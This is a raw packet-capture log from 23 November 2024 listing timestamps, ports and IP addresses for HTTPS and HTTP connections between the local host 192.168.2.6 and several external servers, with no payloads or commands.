Nov 23, 2024 02:55:36.934128046 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.943012953 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.943048000 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.943064928 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.943079948 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.943214893 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.951862097 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.960407019 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.960462093 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.960474014 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.968905926 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.968951941 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.968961954 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.977380991 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.977451086 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.977461100 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.986076117 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.986141920 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.986151934 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.994434118 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:36.994518042 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:36.994527102 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.003062010 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.003142118 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.003169060 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.011559010 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.011600971 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.011626005 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.011637926 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.011679888 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.020145893 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.039225101 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.039262056 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.039299965 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.039335012 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.039371967 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.040966034 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.045521975 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.045650005 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.045679092 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.045687914 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.045838118 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.054177046 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.062364101 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.062397957 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.062411070 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.062418938 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.062450886 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.070559025 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.078798056 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.078825951 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.078849077 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.078855991 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.079025984 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.086289883 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.094024897 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.094060898 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.094075918 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.094084024 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.094140053 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.096297026 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.101244926 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.108649015 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.109391928 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.109462023 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.109469891 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.109510899 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.113614082 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.114465952 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.114502907 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.114979982 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.114986897 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.118324041 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.118366957 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.118405104 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.118412018 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.118419886 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.118448019 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.124090910 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.124145031 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.124152899 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.127795935 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.127844095 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.127851009 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.129270077 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.129358053 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.129461050 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:37.129473925 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:37.163448095 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.164546967 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.164573908 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.165033102 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.165038109 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.166330099 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.175169945 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.175645113 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.175653934 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.176747084 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.176814079 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.176927090 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.177274942 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.178194046 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.178204060 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.178517103 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.178582907 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.178719997 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.178783894 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.178920031 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.178925991 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.179663897 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.179755926 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.180232048 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.180310965 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.180794954 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.180876017 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.180979967 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.180988073 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.181253910 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.181350946 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.181384087 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.227338076 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.251604080 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.285775900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.317117929 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.317230940 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.317300081 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.426239014 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.568352938 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.568391085 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.568459034 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.568746090 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.568758011 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.578458071 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.578783035 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.578794003 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.581919909 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.581986904 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.582304001 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.582386971 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.582438946 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.582525015 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.582597017 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.582937956 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.582947016 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.584851027 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.584866047 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.589392900 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.589417934 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.589478016 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.591130018 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.591141939 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.612935066 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.612962008 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.613054037 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.613226891 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.613240957 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.626652002 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.626950979 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.626961946 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.627661943 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.627986908 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.628045082 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.628144026 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.628216028 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.628371000 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.628703117 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.628739119 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.628787041 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.628803015 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.628865957 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.628876925 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.629132986 CET	49843	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.629147053 CET	443	49843	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.629663944 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.629734039 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.629995108 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.630006075 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.630171061 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.630179882 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:37.630381107 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.630464077 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.630757093 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.630764961 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.631088018 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.631258011 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.631414890 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.631477118 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.631541014 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.632785082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632806063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632818937 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632837057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632849932 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632860899 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632873058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632878065 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.632885933 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.632899046 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.632971048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.632971048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.636365891 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.636432886 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.636487961 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.639455080 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.639455080 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.639467955 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.639477968 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.641304016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.641500950 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.642940998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.643059015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.643208981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.643208981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.646266937 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.646282911 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.646337986 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.647234917 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:37.647245884 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:37.651408911 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.652774096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.679341078 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.720344067 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:37.720380068 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.720474958 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.720484972 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.738915920 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.738979101 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.739120007 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:37.739188910 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.739188910 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:37.752458096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.752543926 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.826340914 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.826411963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.826423883 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.826656103 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.830378056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.830491066 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.830527067 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.830565929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.838495970 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.838608980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.838979006 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.838979006 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.846635103 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.846705914 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.846740961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.846987009 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.854768038 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.854856014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.854892015 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.854922056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.862901926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.862976074 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.862998962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.863337994 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.871049881 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.871092081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.871129990 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.871165037 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.879254103 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.879327059 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.879339933 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.879488945 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.887305021 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.887389898 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.887510061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.895458937 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.895586967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.895719051 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.902430058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.902520895 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.902522087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.902704000 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.909415007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.909467936 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:37.909478903 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:37.909540892 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.018517017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.018537045 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.018625021 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.020994902 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.021083117 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.021094084 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.021136999 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.021800995 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.022037983 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.022102118 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:38.022383928 CET	49849	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:38.022397995 CET	443	49849	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.026005983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.026113987 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.026545048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.031008005 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.031110048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.031148911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.031148911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.036062002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.036164999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.036221981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.036221981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.040807009 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.040904999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.040954113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.040954113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.045408010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.045494080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.045528889 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.045609951 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.049997091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.050071955 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.050097942 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.050127029 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.054549932 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.054630041 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.054652929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.054706097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.059123993 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.059226990 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.059334040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.059334040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.063697100 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.063786983 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.063821077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.063878059 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.068270922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.068314075 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.068380117 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.068380117 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.071887016 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.071955919 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.072060108 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.072242975 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.072248936 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.072859049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.072969913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.073118925 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.077413082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.077512980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.077524900 CET	80	49814	185.215.113.206	192.168.2.6
